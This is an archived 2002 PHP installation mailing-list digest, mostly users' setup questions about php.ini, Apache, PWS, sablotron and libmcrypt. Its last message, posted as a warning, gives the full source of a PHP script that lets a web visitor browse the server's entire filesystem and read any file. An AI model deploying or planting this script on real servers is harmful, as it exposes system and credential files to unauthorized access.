php-install Digest 8 Oct 2002 17:33:27 -0000 Issue 1060

Topics (messages 8712 through 8722):

Re: Problems with variables
        8712 by: Peter Houchin

problems with libraries in php
        8713 by: Francisco Castillo
        8714 by: Francisco Castillo

to install sablotron
        8715 by: Mounir Elmarouri

PHP installation problem with PWS
        8716 by: Donna Enright

howdoI reinstall on a working system...same level or uplevel
        8717 by: Stewart Dean

PHP Install on Win2kPro + Apache 1.3.27 + PHP 4.2.3
        8718 by: MAX SALVIEJO

Re: Install in XP step by step
        8719 by: AutoNet
        8720 by: Jeffrey_N_Dyke.Keane.com

libmcrypt with PHP??  It doesn't work.
        8721 by: Scott Fletcher

Malicious code allows people to browse thru /
        8722 by: Thiago Vinhas

Administrivia:

To subscribe to the digest, e-mail:
        [EMAIL PROTECTED]

To unsubscribe from the digest, e-mail:
        [EMAIL PROTECTED]

To post to the list, e-mail:
        [EMAIL PROTECTED]


----------------------------------------------------------------------
--- Begin Message ---
instead of putting php.ini in winnt put it in the default windows folder ,
either c:\windows or c:\win, as per the install txt file that comes with the
distrib. on the varibles instead of calling $var call them like $_POST[var]
or $_GET[var]



> -----Original Message-----
> From: Daniela Elena Popescu [mailto:[EMAIL PROTECTED]]
> Sent: Wednesday, 9 October 2002 4:22 AM
> To: [EMAIL PROTECTED]
> Subject: [PHP-INST] Problems with variables
>
>
> I can not set register_globals to on for working with variables. When I
> run phpinfo() it appears that the path for my php.ini file is c:\winnt.
> It is not correct because I am running on windows98. I have created the
> winnt directory and I copied the php.ini file into it. I restarted the
> Apache server. But nothing has change.
> Please help me what to do.
> D.Popescu
>
>
> --
> PHP Install Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>

--- End Message ---
--- Begin Message ---

> Hi,
>
> My php rpm of mandrake 8.0 seems to have lose php libraries. I reboot the
> system this morning and he begins to give me errors. I think it could be a
> upgrade of openssl which i do last week, but y have restore the original
> package of Mandrake 8.0 with --upgrade openssl.. --oldpackage and i have
the
> same problem.
>
> I have try some other configurations on my httpd.conf and commonhttp.conf
> but i dont have make it work.
>
> !!So Please help!!.
> Some one knows what could i do now?
>
> php-mysql library and pg-sql library dont work as you could see on the
> errors:
>
> Fatal error: Call to undefined function: mysql_connect() in
> pnadodb/drivers/adodb-mysql.inc.php on line 121
>
> Fatal error: Call to undefined function: pg_connect() in
> /home/pcash/public_html/user/consaldo.php3 on line 30
>
> Mi php info es here:
http://www.practicalcash.com:90/~fcastillo/phpinfo.php
>
> Thanks in advance.
>
>
>


--- End Message ---
--- Begin Message ---
Hi,

My php rpm of mandrake 8.0 seems to have lose php libraries. I reboot the
system this morning and he begins to give me errors. I think it could be a
upgrade of openssl which i do last week, but y have restore the original
package of Mandrake 8.0 with --upgrade openssl.. --oldpackage and i have the
same problem.

I have try some other configurations on my httpd.conf and commonhttp.conf
but i dont have make it work.

!!So Please help!!.
Some one knows what could i do now?

php-mysql library and pg-sql library dont work as you could see on the
errors:

Fatal error: Call to undefined function: mysql_connect() in
pnadodb/drivers/adodb-mysql.inc.php on line 121

Fatal error: Call to undefined function: pg_connect() in
/home/pcash/public_html/user/consaldo.php3 on line 30

Mi php info es here: http://www.practicalcash.com:90/~fcastillo/phpinfo.php

Thanks in advance.



--- End Message ---
--- Begin Message ---
hi all,
I hav a problem during instalation of sablotron i use apache and php 4.3 and red hat 
7.3
i have tried to compile with options --with dom but it load libxml that not support 
dom2
i tried also with --sablot but it doesn't work can anyone help 
--- End Message ---
--- Begin Message ---
I am running Windows 98 (2nd edition) with Personal Web Server. I recently
installed PHP 4.2.3-Win32 and am trying to test a simple script.   I am
getting the following message:
Security Alert! The PHP CGI cannot be accessed directly.
This PHP CGI binary was compiled with force-cgi-redirect enabled. This means
that a page will only be served up if the REDIRECT_STATUS CGI variable is
set, e.g. via an Apache Action directive.

I went into the php.ini file and set cgi.force_redirect = 0
but it is still not working.

Can anyone explain to me what is wrong with my configuration?

Thanks.

--- End Message ---
--- Begin Message ---
OK, originally, I configure/maek's/make install'ed. I had and have a working 
system.....but now I 
want to either upgrade to a later level of php or re-configure/compile the same 
release somewhat 
differently.  After configure/compiling in the build directory, I'm ready to 
install.....

What do I do then....do I remove the old code (how?) before doing the make install or 
does the make 
install handle that?  I have looked through the faq and manual but can find nothing...

Thanks in advance...
-- 
====
Stewart Dean, Unix System Admin, Henderson Computer Resources
Center of Bard College, Annandale-on-Hudson, New York  12504
[EMAIL PROTECTED]  voice: 845-758-7475, fax: 845-758-7035

--- End Message ---
--- Begin Message ---
I have installed apache using MSI (microsoft installer).  I have followed the 
documents on installing SAPI module for PHP, placing the phpts.dll on 
C:\WINNT\SYSTEM32. I then edited httpd.conf added the recommended three lines .. check 
the syntax on httpd.conf. looks ok  restarted apache and tried to see if phpinf() 
would show ...but it doesnt..it shows me the code. 

I have set the     AddType application/x-httpd-php .php  on my httpd.conf so i dont 
understand why it is not parsing my page. My log doesnt show anything significant. 
Both errors/access.

I've also added AddModule mod_php4.c after Clearmodulelist on httpd.conf
No go..

Anyone run into this problem...
looks like i can stop and start apache w/o errors but the php pages are not getting 
parsed.

Any input would help



[  Max Salviejo Jr. ]
[  [EMAIL PROTECTED] ]
[  The Plain Dealer Publishing Co. ]
[  216.999.6165  ]
[  www.plaindealer.com ]
-=BOFH=-
~~~~  ~~~~

--- End Message ---
--- Begin Message ---
Sorry for my non explicit request

How can I install PHP (with Apache parser) in XP (step-by-step)


"Autonet" <[EMAIL PROTECTED]> wrote in message
[EMAIL PROTECTED]">news:[EMAIL PROTECTED]...
> Where can I find a step by step install tutorial for XP?
>
>


--- End Message ---
--- Begin Message ---

i just follwed both INSTALL/README, for both pieces and it worked like a
charm.  those files cover everything.  they install very nicely on XP.



                                                                                       
                                                 
                      "AutoNet"                                                        
                                                 
                      <[EMAIL PROTECTED]>          To:       [EMAIL PROTECTED]     
                                                 
                                               cc:                                     
                                                 
                      10/08/2002 07:40         Subject:  [PHP-INST] Re: Install in XP 
step by step                                      
                      AM                                                               
                                                 
                                                                                       
                                                 
                                                                                       
                                                 




Sorry for my non explicit request

How can I install PHP (with Apache parser) in XP (step-by-step)


"Autonet" <[EMAIL PROTECTED]> wrote in message
[EMAIL PROTECTED]">news:[EMAIL PROTECTED]...
> Where can I find a step by step install tutorial for XP?
>
>



--
PHP Install Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php





--- End Message ---
--- Begin Message ---
Hi!

I'm still debating on whether it is worth it to stick with libmcrypt-2.5.3
or not.  Problem is I followed the PHP Manual on 'http://php.net/mcrypt'.  I
was thinking there was problem with PHP's configure and make because it take
in the libmcrypt but does not take in the libmcrypt's algorithm.  But
someone told me it is not a bug and that I only need to do the php.ini
configuration.  So I did that and it doesn't work at all.  I don't know what
am I doing wrong and I could use the help.  I checked the PHP Info using hte
phpinfo() and it showed I had no supported ciphers.  All I just want is to
get the encryption to work, example of those are ....

    1) mcrypt_module_open (MCRYPT_DES, '', MCRYPT_MODE_ECB, '')
    2) mcrypt_get_block_size('tripledes', 'ecb')
    3) mcrypt_list_algorithms("/usr/local/lib/libmcrypt")


Here's the php.ini script

--clip--
mcrypt.algorithms_dir = /usr/local/lib/libmcrypt
mcrypt.modes_dir = /usr/local/lib/libmcrypt
--clip--


Here's the files after I complied the libmcrypt-2.5.3, by using hte command,
'ls -l /usr/local/lib" & 'ls -l /usr/local/lib/libmcrypt'

--clip--
drwxr-xr-x   2 root     system      1536 Oct 07 16:58 libmcrypt
-rwxr-xr-x   1 root     system    137767 Oct 07 16:58 libmcrypt.a
-rwxr-xr-x   1 root     system       717 Oct 07 16:58 libmcrypt.la
--clip--

--clip--
drwxr-xr-x   2 root     system      1536 Oct 07 16:58 .
drwxr-xr-x  21 root     system      1536 Oct 07 17:57 ..
-rwxr-xr-x   1 root     system       729 Oct 07 16:58 arcfour.la
-rwxr-xr-x   1 root     system       769 Oct 07 16:58 blowfish-compat.la
-rwxr-xr-x   1 root     system       734 Oct 07 16:58 blowfish.la
-rwxr-xr-x   1 root     system       734 Oct 07 16:57 cast-128.la
-rwxr-xr-x   1 root     system       734 Oct 07 16:57 cast-256.la
-rwxr-xr-x   1 root     system       709 Oct 07 16:58 cbc.la
-rwxr-xr-x   1 root     system       709 Oct 07 16:58 cfb.la
-rwxr-xr-x   1 root     system       709 Oct 07 16:58 ctr.la
-rwxr-xr-x   1 root     system       709 Oct 07 16:58 des.la
-rwxr-xr-x   1 root     system       709 Oct 07 16:58 ecb.la
-rwxr-xr-x   1 root     system       724 Oct 07 16:58 enigma.la
-rwxr-xr-x   1 root     system       714 Oct 07 16:57 gost.la
-rwxr-xr-x   1 root     system     44139 Oct 07 16:58 libarcfour.a
-rwxr-xr-x   1 root     system     51930 Oct 07 16:58 libblowfish-compat.a
-rwxr-xr-x   1 root     system     50412 Oct 07 16:58 libblowfish.a
-rwxr-xr-x   1 root     system     59548 Oct 07 16:57 libcast-128.a
-rwxr-xr-x   1 root     system     58323 Oct 07 16:57 libcast-256.a
-rwxr-xr-x   1 root     system     42354 Oct 07 16:58 libcbc.a
-rwxr-xr-x   1 root     system     41992 Oct 07 16:58 libcfb.a
-rwxr-xr-x   1 root     system     50372 Oct 07 16:58 libctr.a
-rwxr-xr-x   1 root     system     52890 Oct 07 16:58 libdes.a
-rwxr-xr-x   1 root     system     39138 Oct 07 16:58 libecb.a
-rwxr-xr-x   1 root     system     47016 Oct 07 16:58 libenigma.a
-rwxr-xr-x   1 root     system     49025 Oct 07 16:57 libgost.a
-rwxr-xr-x   1 root     system     54565 Oct 07 16:57 libloki97.a
-rwxr-xr-x   1 root     system     59446 Oct 07 16:58 libncfb.a
-rwxr-xr-x   1 root     system     50514 Oct 07 16:58 libnofb.a
-rwxr-xr-x   1 root     system     42012 Oct 07 16:58 libofb.a
-rwxr-xr-x   1 root     system     55865 Oct 07 16:58 libpanama.a
-rwxr-xr-x   1 root     system     44946 Oct 07 16:57 librc2.a
-rwxr-xr-x   1 root     system     54318 Oct 07 16:57 librijndael-128.a
-rwxr-xr-x   1 root     system     54334 Oct 07 16:57 librijndael-192.a
-rwxr-xr-x   1 root     system     54350 Oct 07 16:57 librijndael-256.a
-rwxr-xr-x   1 root     system     49346 Oct 07 16:57 libsafer-sk128.a
-rwxr-xr-x   1 root     system     49184 Oct 07 16:57 libsafer-sk64.a
-rwxr-xr-x   1 root     system     52840 Oct 07 16:57 libsaferplus.a
-rwxr-xr-x   1 root     system     72270 Oct 07 16:57 libserpent.a
-rwxr-xr-x   1 root     system     38818 Oct 07 16:58 libstream.a
-rwxr-xr-x   1 root     system     49181 Oct 07 16:57 libthreeway.a
-rwxr-xr-x   1 root     system     55434 Oct 07 16:58 libtripledes.a
-rwxr-xr-x   1 root     system     61798 Oct 07 16:57 libtwofish.a
-rwxr-xr-x   1 root     system     48553 Oct 07 16:58 libwake.a
-rwxr-xr-x   1 root     system     43066 Oct 07 16:57 libxtea.a
-rwxr-xr-x   1 root     system       724 Oct 07 16:57 loki97.la
-rwxr-xr-x   1 root     system       714 Oct 07 16:58 ncfb.la
-rwxr-xr-x   1 root     system       714 Oct 07 16:58 nofb.la
-rwxr-xr-x   1 root     system       709 Oct 07 16:58 ofb.la
-rwxr-xr-x   1 root     system       724 Oct 07 16:58 panama.la
-rwxr-xr-x   1 root     system       709 Oct 07 16:57 rc2.la
-rwxr-xr-x   1 root     system       754 Oct 07 16:57 rijndael-128.la
-rwxr-xr-x   1 root     system       754 Oct 07 16:57 rijndael-192.la
-rwxr-xr-x   1 root     system       754 Oct 07 16:57 rijndael-256.la
-rwxr-xr-x   1 root     system       749 Oct 07 16:57 safer-sk128.la
-rwxr-xr-x   1 root     system       744 Oct 07 16:57 safer-sk64.la
-rwxr-xr-x   1 root     system       739 Oct 07 16:57 saferplus.la
-rwxr-xr-x   1 root     system       729 Oct 07 16:57 serpent.la
-rwxr-xr-x   1 root     system       724 Oct 07 16:58 stream.la
-rwxr-xr-x   1 root     system       734 Oct 07 16:57 threeway.la
-rwxr-xr-x   1 root     system       739 Oct 07 16:58 tripledes.la
-rwxr-xr-x   1 root     system       729 Oct 07 16:57 twofish.la
-rwxr-xr-x   1 root     system       714 Oct 07 16:58 wake.la
-rwxr-xr-x   1 root     system       714 Oct 07 16:57 xtea.la
--clip--


Thanks,
 Scott F.


--- End Message ---
--- Begin Message ---

Hi. I found something that is really dangerous. I hope there is a
configuration variable on php.ini that denies what this script do, but
if not, PHP Developers must find a way to stop this. THe following code
allows someone to browse the entire directory three of a server. 

Here is the code:

<?
$url="1.php";

if(!isset($file) && !isset($dir))$dir="/";



if(isset($dir)){
diretorio($dir);
}
if(isset($file)){
arquivo($file);
}



function diretorio($dir){
global $url;

echo "<b>$dir</b><br>";
$files=array();
$i=0;
$handle = @opendir($dir);
while ($file = @readdir($handle)) {
$files[$i++]=$file;
}

@closedir($handle);

for($refer=0;$refer < count($files);$refer++)
{

if(@is_dir("$dir/$files[$refer]")){

if($files[$refer] == ".."){

echo "<a
href=\"Javascript:history.back()\">[dir]...<b>$files[$refer]</b></a><br>";


}
else{

echo "<a
href=\"$url?dir=$dir/$files[$refer]\">[dir]  <b>$files[$refer]</
b></a><br>";
}
}
else{

echo "<a
href=\"$url?file=$dir/$files[$refer]\">      
; $files[$refer]</a><br>";



}

}

}


function arquivo($file){

echo "<a href=\"Javascript:history.back()\"><b>Voltar <<</b></a><br>";

$logfile = fopen ( "$file", "r");
$text = fread($logfile,filesize($file));


$text= ereg_replace("\n", "<br>", $text);

echo "$text";

}

?>




--- End Message ---

Reply via email to